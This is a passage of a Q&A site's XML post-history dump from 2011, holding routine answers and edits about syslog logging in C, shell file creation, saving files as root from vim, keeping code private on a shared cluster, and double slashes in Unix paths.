is the length of the actual&#xD;&#xA;       memory allocation, whereas PIPE_BUF makes atomicity guarantees.  */" />
  <row Id="29142" PostHistoryTypeId="2" PostId="11955" RevisionGUID="cc740206-dff8-4955-aab3-8e692bb31c32" CreationDate="2011-04-25T06:00:13.433" UserId="1925" Text="Using `touch` is probably the most generally accepted way to accomplish this, but in some shells such as `zsh` there is something called &quot;multiple stream output redirection&quot; which would allow you do do something like this:&#xD;&#xA;&#xD;&#xA;    &gt; __init__.py &gt; views.py &gt; models.py &gt; admin.py&#xD;&#xA;&#xD;&#xA;..all as one command. If you use globs as suggested by [binfalse][1] you don't need to repeat the output operator:&#xD;&#xA;&#xD;&#xA;    &gt; {__init__,views,models,admin}.py&#xD;&#xA;&#xD;&#xA;This is often useful if you want to start all files out with a few common items like their hash-bang and maybe some includes. I often `head` some other script and redirect it to several files like this if I'm going to write a couple new gigs.&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/11932/bash-a-command-to-create-multiple-files-in-the-current-directory/11935#11935" />
  <row Id="29143" PostHistoryTypeId="6" PostId="11953" RevisionGUID="47fe1ba1-c30f-4665-9ed8-f3f42c0c201a" CreationDate="2011-04-25T06:05:21.497" UserId="3169" Comment="add c and syslog tags" Text="élinuxàélogsàécàésyslogà" />
  <row Id="29144" PostHistoryTypeId="2" PostId="11956" RevisionGUID="53d4f159-e608-4ccc-bc2c-124dec10a21f" CreationDate="2011-04-25T06:07:11.370" UserId="6890" Text="There are lots of possibilities, what is your plan? Do you just need an option to log from command line? Take a look at `logger` (included in [bsdutils][1]). Just type:&#xD;&#xA;&#xD;&#xA;    usr@srv % logger test&#xD;&#xA;&#xD;&#xA;and it will log something like this to your `/var/log/syslog`:&#xD;&#xA;&#xD;&#xA;    Apr 25 07:55:15 localhost usr: test&#xD;&#xA;&#xD;&#xA;see also [`man logger`][2]. Depending on your logging daemon you can sort these messages to specific files or filter them by priority.&#xD;&#xA;&#xD;&#xA;There are also some solutions for different programming languages, so please tell me what do you want to do ;-)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/search?keywords=bsdutils&#xD;&#xA;  [2]: http://unixhelp.ed.ac.uk/CGI/man-cgi?logger%201" />
  <row Id="29145" PostHistoryTypeId="2" PostId="11957" RevisionGUID="891e61a8-edeb-4459-a2ab-f43e36ba53d7" CreationDate="2011-04-25T06:08:28.890" UserId="3169" Text="The standard way to log from a C program is [`syslog`](http://www.kernel.org/doc/man-pages/online/pages/man3/syslog.3.html).&#xD;&#xA;&#xD;&#xA;Start by including the header file:&#xD;&#xA;&#xD;&#xA;    #include &lt;syslog.h&gt;&#xD;&#xA;&#xD;&#xA;Then configure syslog by calling `openlog`:&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_USER);&#xD;&#xA;&#xD;&#xA;The to write a log message, use:&#xD;&#xA; &#xD;&#xA;    syslog(LOG_INFO, &quot;%s&quot;, &quot;Message&quot;);&#xD;&#xA;&#xD;&#xA;Which log file this appears in depends on your syslog settings, e.g. `/etc/syslog.conf` or `/etc/rsyslog.conf`.&#xD;&#xA;&#xD;&#xA;With a default setup, it probably goes into `/var/log/messages`.&#xD;&#xA;&#xD;&#xA;If you want to change it, you can add a line like this:&#xD;&#xA;&#xD;&#xA;    user.info /var/log/user.log&#xD;&#xA;&#xD;&#xA;to the config file, and restart syslog (see `man syslogd` or `man rsyslogd` for details).&#xD;&#xA;&#xD;&#xA;You can also use a custom log file.  There are 8 choices: `LOCAL0` to `LOCAL7`.&#xD;&#xA;&#xD;&#xA;You use them by changing:&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_USER);&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_LOCAL0);&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_LOCAL1);&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;" />
  <row Id="29146" PostHistoryTypeId="25" PostId="11953" RevisionGUID="5903b082-3db2-4de2-a659-ffd8f175ece2" CreationDate="2011-04-25T06:09:10.480" Comment="http://twitter.com/#!/StackUnix/status/62397720408768513" />
  <row Id="29147" PostHistoryTypeId="5" PostId="11872" RevisionGUID="8a7f5675-dbe4-4774-95b5-9be6c0ce1e87" CreationDate="2011-04-25T06:12:43.253" UserId="1925" Comment="added 343 characters in body" Text="No, you can't give a running program permissions that it doesn't have when it starts, that would be the security hole known as 'privilege escalation'.&#xD;&#xA;&#xD;&#xA;Two things you can do:&#xD;&#xA;&#xD;&#xA;1. Save to a temporary file in /tmp or wherever, close the editor, then dump the contents of temp file into the file you were editing. `cat TMPFILE &gt; FILE`. Note that it is not recomended to use `mv` for this because of the change in file ownership and permissions it is likely to cause, you just want to replace the file content not the file placeholder itself. &#xD;&#xA;1. Background the editor with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;z&lt;/kbd&gt;, change the file ownership or permissions so you can write to it, then use `fg` to get back to the editor and save. Don't forget to fix the permissions!&#xD;&#xA;&#xD;&#xA;**Edit:** This third option is compliments of a commentor below. Unfortunately this is specific to `vim` and other editors that have the ability to write their buffer out to a pipe; as far as I know `nano` cannot do this.&#xD;&#xA;&#xD;&#xA;1. From inside vim, pipe the buffer to somthing that will write back to the file as sudo. `:w !sudo tee $filename`" />
  <row Id="29148" PostHistoryTypeId="5" PostId="11957" RevisionGUID="f1eda48b-ddc8-4bfd-a85b-fd484629d20d" CreationDate="2011-04-25T06:15:46.153" UserId="3169" Comment="added 245 characters in body; added 239 characters in body" Text="The standard way to log from a C program is [`syslog`](http://www.kernel.org/doc/man-pages/online/pages/man3/syslog.3.html).&#xD;&#xA;&#xD;&#xA;Start by including the header file:&#xD;&#xA;&#xD;&#xA;    #include &lt;syslog.h&gt;&#xD;&#xA;&#xD;&#xA;Then configure syslog by calling `openlog`:&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_USER);&#xD;&#xA;&#xD;&#xA;The to write a log message, using a priority, a format, and a message (like printf):&#xD;&#xA;&#xD;&#xA;    syslog(LOG_INFO, &quot;%s&quot;, &quot;Message&quot;);&#xD;&#xA;&#xD;&#xA;the priority ranges from `DEBUG` (least important) to `EMERG` (only for emergencies) with `DEBUG`, `INFO`, and `ERROR` being the most commonly used.    See `man 3 syslog` for your options.  &#xD;&#xA;&#xD;&#xA;Which log file this appears in depends on your syslog settings, e.g. `/etc/syslog.conf` or `/etc/rsyslog.conf`.&#xD;&#xA;&#xD;&#xA;With a default setup, it probably goes into `/var/log/messages`.&#xD;&#xA;&#xD;&#xA;If you want to change it, you can add a line like this:&#xD;&#xA;&#xD;&#xA;    user.info /var/log/user.log&#xD;&#xA;&#xD;&#xA;to the config file, and restart syslog (see `man syslogd` or `man rsyslogd` for details).&#xD;&#xA;&#xD;&#xA;You can also use a custom log file.  There are 8 choices: `LOCAL0` to `LOCAL7`.&#xD;&#xA;&#xD;&#xA;You use them by changing:&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_USER);&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_LOCAL0);&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_LOCAL1);&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;The `0` in my example means you are requesting no special options.  The syslog man page also tells you about the available options.  One you might find useful is `LOG_PID`, which makes the log message include the process id at the start." />
  <row Id="29149" PostHistoryTypeId="2" PostId="11958" RevisionGUID="f6bd9d76-47ad-42ae-9008-2506bf612347" CreationDate="2011-04-25T06:19:16.217" UserId="1925" Text="You will want to `#include &lt;syslog.h&gt;`, then use the `syslog()` functions to send data to whatever system logging program is active.&#xD;&#xA;&#xD;&#xA;See the [man page here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/3/syslog" />
  <row Id="29150" PostHistoryTypeId="5" PostId="1727" RevisionGUID="925a30d4-b024-4f87-9b7e-d2f24b8ace11" CreationDate="2011-04-25T06:20:11.410" UserId="3169" Comment="remove &quot;emphasised text&quot; placeholder presumably inserted accidentally" Text="The exact rules followed by the `gcc` compiler for finding include files are explained at: http://gcc.gnu.org/onlinedocs/cpp/Search-Path.html&#xD;&#xA;&#xD;&#xA;A quick command-line trick to find out where an include file comes from is the following:&lt;sup&gt;1&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;    echo '#include &lt;unistd.h&gt;' | gcc -E -x c - &gt; unistd.preprocessed&#xD;&#xA;&#xD;&#xA;Then, if you look at the `unistd.preprocessed` file, you will notice lines like:&#xD;&#xA;&#xD;&#xA;    # 1 &quot;/usr/include/unistd.h&quot; &lt;some numbers&gt;&#xD;&#xA;&#xD;&#xA;These tell you that the following block of lines (until the next `# number ...` line)&#xD;&#xA;come from file `/usr/include/unistd.h`.&#xD;&#xA;&#xD;&#xA;So, if you want to know the full list of files included, you can grep for the `# number` lines:&#xD;&#xA;&#xD;&#xA;    echo '#include &lt;unistd.h&gt;' | gcc -E -x c - | egrep '# [0-9]+ ' | awk '{print $3;}' | sort -u*emphasized text*&#xD;&#xA;&#xD;&#xA;On my Ubuntu 10.04 / gcc 4.4.3 system, this produces:&#xD;&#xA;&#xD;&#xA;    $ echo '#include &lt;unistd.h&gt;' | gcc -E -x c - | egrep '# [0-9]+ ' | awk '{print $3;}' | sort -u&#xD;&#xA;    &quot;&lt;built-in&gt;&quot;&#xD;&#xA;    &quot;&lt;command-line&gt;&quot;&#xD;&#xA;    &quot;&lt;stdin&gt;&quot;&#xD;&#xA;    &quot;/usr/include/bits/confname.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/posix_opt.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/predefs.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/types.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/typesizes.h&quot;&#xD;&#xA;    &quot;/usr/include/bits/wordsize.h&quot;&#xD;&#xA;    &quot;/usr/include/features.h&quot;&#xD;&#xA;    &quot;/usr/include/getopt.h&quot;&#xD;&#xA;    &quot;/usr/include/gnu/stubs-64.h&quot;&#xD;&#xA;    &quot;/usr/include/gnu/stubs.h&quot;&#xD;&#xA;    &quot;/usr/include/sys/cdefs.h&quot;&#xD;&#xA;    &quot;/usr/include/unistd.h&quot;&#xD;&#xA;    &quot;/usr/lib/gcc/x86_64-linux-gnu/4.4.3/include/stddef.h&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;1&lt;/sup&gt; _Note:_ The search path for include files is modified by&#xD;&#xA;the `-I` command-line option; so, you should add any `-I path`&#xD;&#xA;arguments to the `gcc` invocation.  Also, if you are compiling a C++&#xD;&#xA;source, you should substitute `-x c` with `-x c++`.&#xD;&#xA;" />
  <row Id="29151" PostHistoryTypeId="2" PostId="11959" RevisionGUID="c0e0e772-8af9-43d5-8b5e-1c27fe862552" CreationDate="2011-04-25T06:52:08.073" UserId="4415" Text="I use a short script I keep in my path, called *after*, containing&#xD;&#xA;&#xD;&#xA;    at now + $*&#xD;&#xA;&#xD;&#xA;This way it's very easy to, for example, type:&#xD;&#xA;&#xD;&#xA;    after 15 min&#xD;&#xA;&#xD;&#xA;then any commands and Ctrl-D, or&#xD;&#xA;&#xD;&#xA;    echo COMMANDS | after 15 min&#xD;&#xA;&#xD;&#xA;which does the same." />
  <row Id="29152" PostHistoryTypeId="5" PostId="11957" RevisionGUID="eb9edf66-f490-4713-872f-649a7c71baee" CreationDate="2011-04-25T07:31:59.317" UserId="3169" Comment="added 1029 characters in body" Text="The standard way to log from a C program is [`syslog`](http://www.kernel.org/doc/man-pages/online/pages/man3/syslog.3.html).&#xD;&#xA;&#xD;&#xA;Start by including the header file:&#xD;&#xA;&#xD;&#xA;    #include &lt;syslog.h&gt;&#xD;&#xA;&#xD;&#xA;Then configure syslog by calling `openlog`:&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_USER);&#xD;&#xA;&#xD;&#xA;The to write a log message, using a priority, a format, and a message (like printf):&#xD;&#xA;&#xD;&#xA;    syslog(LOG_INFO, &quot;%s&quot;, &quot;Message&quot;);&#xD;&#xA;&#xD;&#xA;the priority ranges from `DEBUG` (least important) to `EMERG` (only for emergencies) with `DEBUG`, `INFO`, and `ERROR` being the most commonly used.    See `man 3 syslog` for your options.  &#xD;&#xA;&#xD;&#xA;Which log file this appears in depends on your syslog settings, e.g. `/etc/syslog.conf` or `/etc/rsyslog.conf`.&#xD;&#xA;&#xD;&#xA;With a default setup, it probably goes into `/var/log/messages`.&#xD;&#xA;&#xD;&#xA;If you want to change it, you can add a line like this:&#xD;&#xA;&#xD;&#xA;    user.info /var/log/user.log&#xD;&#xA;&#xD;&#xA;to the config file, and restart syslog (see `man syslogd` or `man rsyslogd` for details).&#xD;&#xA;&#xD;&#xA;You can also use a custom log file.  There are 8 choices: `LOCAL0` to `LOCAL7`.&#xD;&#xA;&#xD;&#xA;You use them by changing:&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_USER);&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_LOCAL0);&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_LOCAL1);&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;and add a corresponding entry to `/etc/syslog.conf`, e.g.&#xD;&#xA;&#xD;&#xA;    local1.info /var/log/programname.log&#xD;&#xA;&#xD;&#xA;Also, when you call `openlog`, there are some options you might like to use.  Again `man 3 syslog` gives you a list.  Probably the most commonly used one is `LOG_PID`, which makes the log message include the process id at the start.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;If your system uses the older `ksyslogd`, your best option for logging to `programname.log` would be to pick one of the unused local log facilities, e.g. `LOG_LOCAL1`, and add an entry like&#xD;&#xA;&#xD;&#xA;    local1.info /var/log/programname.log&#xD;&#xA;&#xD;&#xA;to `/etc/syslog.conf`.&#xD;&#xA;&#xD;&#xA;But if you have [`rsyslog`](http://www.rsyslog.com/), you could try a [property-based filter](http://www.rsyslog.com/doc/rsyslog_conf_filter.html), e.g.&#xD;&#xA;&#xD;&#xA;    :syslogtag, isequal, &quot;programname&quot;    /var/log/programname.log&#xD;&#xA;&#xD;&#xA;In this case, it probably makes sense to use the `LOG_USER` facility to `openlog`, but if you are writing a server, `LOG_DAEMON` might be appropriate.&#xD;&#xA;&#xD;&#xA;Other than ksyslogd and rsyslog, there is also [`syslog-ng`](http://www.balabit.com/network-security/syslog-ng/opensource-logging-system), but that is less common.&#xD;&#xA;&#xD;&#xA;Also note that the `local1.info` ksyslogd method detailed as the first option above also works with rsyslog." />
  <row Id="29154" PostHistoryTypeId="5" PostId="11957" RevisionGUID="cc5ac4e5-9e35-472a-bf3b-1c4a257ff57b" CreationDate="2011-04-25T07:53:05.623" UserId="3169" Comment="added 12 characters in body" Text="The standard way to log from a C program is [`syslog`](http://www.kernel.org/doc/man-pages/online/pages/man3/syslog.3.html).&#xD;&#xA;&#xD;&#xA;Start by including the header file:&#xD;&#xA;&#xD;&#xA;    #include &lt;syslog.h&gt;&#xD;&#xA;&#xD;&#xA;Then early in your program, you should configure syslog by calling `openlog`:&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_USER);&#xD;&#xA;&#xD;&#xA;The first argument is the identification or the tag, which is automatically added at the start of each message.  Put your program's name here.&#xD;&#xA;&#xD;&#xA;The second argument is the options you want to use, or `0` for the normal behavior.  The full list of options is in `man 3 syslog`.  One you might find useful is `LOG_PID`, which makes syslog also record the process id in the log message.&#xD;&#xA;&#xD;&#xA;Then, each time you want to write a log message, you call `syslog`:&#xD;&#xA;&#xD;&#xA;    syslog(LOG_INFO, &quot;%s&quot;, &quot;Message&quot;);&#xD;&#xA;&#xD;&#xA;The first argument is the priority.  The priority ranges from `DEBUG` (least important) to `EMERG` (only for emergencies) with `DEBUG`, `INFO`, and `ERROR` being the most commonly used.    See `man 3 syslog` for your options.  &#xD;&#xA;&#xD;&#xA;The second and third arguments are a format and a message, just like printf.&#xD;&#xA;&#xD;&#xA;Which log file this appears in depends on your syslog settings.&#xD;&#xA;&#xD;&#xA;With a default setup, it probably goes into `/var/log/messages`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You can set up a custom log file by using one of the facilities in the range `LOG_LOCAL0` to `LOG_LOCAL7`.&#xD;&#xA;&#xD;&#xA;You use them by changing:&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_USER);&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_LOCAL0);&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_LOCAL1);&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;and adding a corresponding entry to `/etc/syslog.conf`, e.g.&#xD;&#xA;&#xD;&#xA;    local1.info /var/log/programname.log&#xD;&#xA;&#xD;&#xA;and restarting the syslog server, e.g.&#xD;&#xA;&#xD;&#xA;    pkill -HUP syslogd&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Or, if you have [`rsyslog`](http://www.rsyslog.com/), you could try a [property-based filter](http://www.rsyslog.com/doc/rsyslog_conf_filter.html), e.g.&#xD;&#xA;&#xD;&#xA;    :syslogtag, isequal, &quot;programname&quot;    /var/log/programname.log&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Or, if you are planning on distributing your software to other people, it's probably not a good idea to rely on using `LOG_LOCAL`&lt;number&gt; or an `rsyslog` filter.&#xD;&#xA;&#xD;&#xA;In that case, you should use `LOG_USER` (if it's a normal program) or `LOG_DAEMON` (if it's a server), write your startup messages and error messages using `syslog`, but write all of your log messages to a file outside of `syslog`.  For example, Apache HTTPd logs to `/var/log/apache2/*` or `/var/log/httpd/*`, I assume using regular `open`/`fopen` and `write`/`printf` calls." />
  <row Id="29155" PostHistoryTypeId="2" PostId="11961" RevisionGUID="93c0e2a2-7b9f-401c-a942-99e159f30fa7" CreationDate="2011-04-25T08:02:07.183" UserId="1170" Text="The real solution to this problem is to talk to your instructor to give you separate accounts, or to change the assignments to be group assignments. If he/she can't or won't do that then I would just ignore any plagiarizing attempts from other students. You don't lose anything when they copy your work, they lose.&#xD;&#xA;&#xD;&#xA;That said, here is a way to keep your source code virtually inaccessible for anyone else.&#xD;&#xA;&#xD;&#xA;    you@local$ ssh shared@cluster &quot;gcc -x c -o yourdir/secret -&quot; &lt; source.c&#xD;&#xA;&#xD;&#xA;Note the dash at the end of the gcc command. That means gcc will read the source from stdin. This will compile `source.c` from your local machine to `yourdir/secret` on the cluster. The secret source code will never exist as a &quot;real&quot; file on the cluster. It will only exist as a stream in some buffer (in the sshd process, I assume).&#xD;&#xA;&#xD;&#xA;If your code is not written in C then your will have to change the `c` in the `-x c` option. See [here](http://gcc.gnu.org/onlinedocs/gcc/Overall-Options.html) for more information about that.&#xD;&#xA;&#xD;&#xA;Other students can still grab your compiled file and decompile that. To minimize even that risk you can delete the file right after compiling and executing.&#xD;&#xA;&#xD;&#xA;    you@local$ ssh shared@cluster &quot;gcc -x c -o yourdir/secret - &amp;&amp; yourdir/secret ; rm yourdir/secret&quot; &lt; source.c&#xD;&#xA;" />
  <row Id="29157" PostHistoryTypeId="2" PostId="11963" RevisionGUID="e714706f-d93a-46bc-9808-33911357a771" CreationDate="2011-04-25T08:03:37.183" UserId="6890" Text="Afaik there is no way to effectively hide something to yourself.. You could hide your code in a deep chain of dot-folders, but as long as you can see it your classmates will see it too, because **they are you**. And if you want to work with your code you need to see it.&#xD;&#xA;&#xD;&#xA;What you can do is setting up a similar system, e.g. install the same OS in a VirtualBox or on a separate machine (take care of the architecture), write your code only on this system, compile it and only copy the binaries to the cluster to submit them to the queue.  &#xD;&#xA;Your opponents still have access to the bytecode, but it's much harder to understand bits and bytes than C-sources ;-)" />
  <row Id="29159" PostHistoryTypeId="5" PostId="11957" RevisionGUID="9393d6fe-c681-44b6-aa82-0f5af80ab275" CreationDate="2011-04-25T08:08:28.300" UserId="3169" Comment="added 200 characters in body" Text="The standard way to log from a C program is [`syslog`](http://www.kernel.org/doc/man-pages/online/pages/man3/syslog.3.html).&#xD;&#xA;&#xD;&#xA;Start by including the header file:&#xD;&#xA;&#xD;&#xA;    #include &lt;syslog.h&gt;&#xD;&#xA;&#xD;&#xA;Then early in your program, you should configure syslog by calling `openlog`:&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_USER);&#xD;&#xA;&#xD;&#xA;The first argument is the identification or the tag, which is automatically added at the start of each message.  Put your program's name here.&#xD;&#xA;&#xD;&#xA;The second argument is the options you want to use, or `0` for the normal behavior.  The full list of options is in `man 3 syslog`.  One you might find useful is `LOG_PID`, which makes syslog also record the process id in the log message.&#xD;&#xA;&#xD;&#xA;Then, each time you want to write a log message, you call `syslog`:&#xD;&#xA;&#xD;&#xA;    syslog(LOG_INFO, &quot;%s&quot;, &quot;Message&quot;);&#xD;&#xA;&#xD;&#xA;The first argument is the priority.  The priority ranges from `DEBUG` (least important) to `EMERG` (only for emergencies) with `DEBUG`, `INFO`, and `ERR` being the most commonly used.    See `man 3 syslog` for your options.  &#xD;&#xA;&#xD;&#xA;The second and third arguments are a format and a message, just like printf.&#xD;&#xA;&#xD;&#xA;Which log file this appears in depends on your syslog settings.&#xD;&#xA;&#xD;&#xA;With a default setup, it probably goes into `/var/log/messages`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;You can set up a custom log file by using one of the facilities in the range `LOG_LOCAL0` to `LOG_LOCAL7`.&#xD;&#xA;&#xD;&#xA;You use them by changing:&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_USER);&#xD;&#xA;&#xD;&#xA;to&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_LOCAL0);&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    openlog(&quot;programname&quot;, 0, LOG_LOCAL1);&#xD;&#xA;&#xD;&#xA;etc.&#xD;&#xA;&#xD;&#xA;and adding a corresponding entry to `/etc/syslog.conf`, e.g.&#xD;&#xA;&#xD;&#xA;    local1.info /var/log/programname.log&#xD;&#xA;&#xD;&#xA;and restarting the syslog server, e.g.&#xD;&#xA;&#xD;&#xA;    pkill -HUP syslogd&#xD;&#xA;&#xD;&#xA;The `.info` part of `local1.info` above means that all messages that are `INFO` or more important will be logged, including `INFO`, `NOTICE`, `ERR` (error), `CRIT` (critical), etc., but not `DEBUG`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Or, if you have [`rsyslog`](http://www.rsyslog.com/), you could try a [property-based filter](http://www.rsyslog.com/doc/rsyslog_conf_filter.html), e.g.&#xD;&#xA;&#xD;&#xA;    :syslogtag, isequal, &quot;programname&quot;    /var/log/programname.log&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Or, if you are planning on distributing your software to other people, it's probably not a good idea to rely on using `LOG_LOCAL`&lt;number&gt; or an `rsyslog` filter.&#xD;&#xA;&#xD;&#xA;In that case, you should use `LOG_USER` (if it's a normal program) or `LOG_DAEMON` (if it's a server), write your startup messages and error messages using `syslog`, but write all of your log messages to a file outside of `syslog`.  For example, Apache HTTPd logs to `/var/log/apache2/*` or `/var/log/httpd/*`, I assume using regular `open`/`fopen` and `write`/`printf` calls." />
  <row Id="29160" PostHistoryTypeId="6" PostId="11871" RevisionGUID="d58cf287-9ec6-4c40-b1e6-4153ca6ec90c" CreationDate="2011-04-25T08:13:56.300" UserId="3169" Comment="add nano tag as per title" Text="écommandölineàésudoàénanoà" />
  <row Id="29162" PostHistoryTypeId="5" PostId="11872" RevisionGUID="966b6f0b-d75b-4dfe-8503-d3c6c7a59114" CreationDate="2011-04-25T08:23:24.893" UserId="1925" Comment="deleted 117 characters in body" Text="No, you can't give a running program permissions that it doesn't have when it starts, that would be the security hole known as 'privilege escalation'.&#xD;&#xA;&#xD;&#xA;Two things you can do:&#xD;&#xA;&#xD;&#xA;1. Save to a temporary file in /tmp or wherever, close the editor, then dump the contents of temp file into the file you were editing. `cat TMPFILE &gt; FILE`. Note that it is not recomended to use `mv` for this because of the change in file ownership and permissions it is likely to cause, you just want to replace the file content not the file placeholder itself. &#xD;&#xA;1. Background the editor with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;z&lt;/kbd&gt;, change the file ownership or permissions so you can write to it, then use `fg` to get back to the editor and save. Don't forget to fix the permissions!&#xD;&#xA;&#xD;&#xA;**Edit:** See [this related question][1] for other solutions in advanced editors that allow writing the file buffer to a process pipe.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/11004/becoming-root-from-inside-vim" />
  <row Id="29163" PostHistoryTypeId="25" PostId="11932" RevisionGUID="411596f0-8d3a-4535-ac6f-b0eab46ebdc0" CreationDate="2011-04-25T09:09:10.677" Comment="http://twitter.com/#!/StackUnix/status/62443020150255616" />
  <row Id="29164" PostHistoryTypeId="2" PostId="11964" RevisionGUID="3418df78-e7d6-4ae8-babc-3825d1821843" CreationDate="2011-04-25T09:16:28.753" UserId="3540" Text="Do `cd dir/subdir/` and `cd dir/subdir//` mean the same in UNIX? &#xD;&#xA;&#xD;&#xA;Will the later work out? Else does it have any special meaning?&#xD;&#xA;&#xD;&#xA;cd, mv, ls or any command for that sake." />
  <row Id="29165" PostHistoryTypeId="1" PostId="11964" RevisionGUID="3418df78-e7d6-4ae8-babc-3825d1821843" CreationDate="2011-04-25T09:16:28.753" UserId="3540" Text="What do double slashes mean in UNIX path? Is `cd dir/subdir//` valid?" />
  <row Id="29166" PostHistoryTypeId="3" PostId="11964" RevisionGUID="3418df78-e7d6-4ae8-babc-3825d1821843" CreationDate="2011-04-25T09:16:28.753" UserId="3540" Text="écommandölineàéslashà" />
  <row Id="29167" PostHistoryTypeId="2" PostId="11965" RevisionGUID="b61030fa-2e86-4fdd-884d-6a8226948427" CreationDate="2011-04-25T09:19:04.507" UserId="1925" Text="Actually it means nothing and is ignored.&#xD;&#xA;&#xD;&#xA;This often happens when output from multiple places is combined and it isn't clear who's job it is to add the slashes, so both parties do it and you end up with two of them. Semantically in the case of a directory path is has no meaning and will be ignored by most programs.&#xD;&#xA;&#xD;&#xA;There are other situations in the unix world where they have meaning. Sometimes at the start of a path they could trigger a search for a samba path instead of a local file system path, or after a protocol in nfs they can indicate a hostname, however particularly in the case of a trailing slash like you gave as an example, it shouldn't matter much.&#xD;&#xA;&#xD;&#xA;For the sake of your sanity as an administrator or programmer you should still avoid these cases wherever possible. You never know when something will be parsed incorrectly, but if one comes your way don't worry about it." />
  <row Id="29168" PostHistoryTypeId="6" PostId="11613" RevisionGUID="5bb4ee3c-cc4e-4d55-864d-ba8a5181a262" CreationDate="2011-04-25T09:23:13.963" UserId="4843" Comment="edited tags" Text="ésecurityàébootàéencryptionà" />
  <row Id="29169" PostHistoryTypeId="2" PostId="11966" RevisionGUID="ec273bdc-a4cf-4482-807b-652478a07afb" CreationDate="2011-04-25T09:59:42.700" UserId="4843" Text="Personally, I will prefer to use the &quot;Xvesa&quot; rather than any Desktop Environments.&#xD;&#xA;&#xD;&#xA;Xvesa is strong enough to run the firefox and sort-of-application.&#xD;&#xA;&#xD;&#xA;[ Xvesa is used by tinycore, the smallest and minimalistic Linux OS ]" />
  <row Id="29170" PostHistoryTypeId="5" PostId="11952" RevisionGUID="0da9298d-30f4-452a-a6ca-0d2789426155" CreationDate="2011-04-25T11:48:35.663" UserId="3519" Comment="use rsync" Text="The perfect answer would be encryption, but presumably if you can't pull data to/from your own computer, then you probably can't install any disk, volume or file encryption software.&#xD;&#xA;&#xD;&#xA;That said, the teachers must know what they are doing and if they chose for you all to use a common space, there must be a reason behind it. Maybe it is to learn about trust and collaboration? Why not ask them?&#xD;&#xA;&#xD;&#xA;EDIT: since you can pull data to and from the server, why not use `rsync`?" />
  <row Id="29171" PostHistoryTypeId="2" PostId="11967" RevisionGUID="8e0769ff-f805-40d9-a7e1-cf01cd4acaa4" CreationDate="2011-04-25T11:52:50.113" UserId="4485" Text="I sometimes read how to start an application directly with X11, for example: tell X11, that the Desktop Environment/Window Manager/the application to run on startup is firefox/is gimp/is something else. &#xD;&#xA;&#xD;&#xA;Maybe in connection with `Kiosk mode`. You can't switch from app to app - just use a single. app." />
  <row Id="29172" PostHistoryTypeId="2" PostId="11968" RevisionGUID="81f952f9-81ec-4855-ab4b-9d55b1e1219a" CreationDate="2011-04-25T11:54:20.667" UserId="4843" Text="You can do this by running gconf-editor:&#xD;&#xA;&#xD;&#xA;and navigate to &#xD;&#xA;&#xD;&#xA;apps-&gt;metacity-&gt;global_keybindings-&gt;panel_run_dialog&#xD;&#xA;&#xD;&#xA;and change it's value to &quot;Super_L&quot; or &quot;Super_R&quot;&#xD;&#xA;&#xD;&#xA;If you want both to work at the same time, you have to assign Super_R to Super_L or vice versa." />
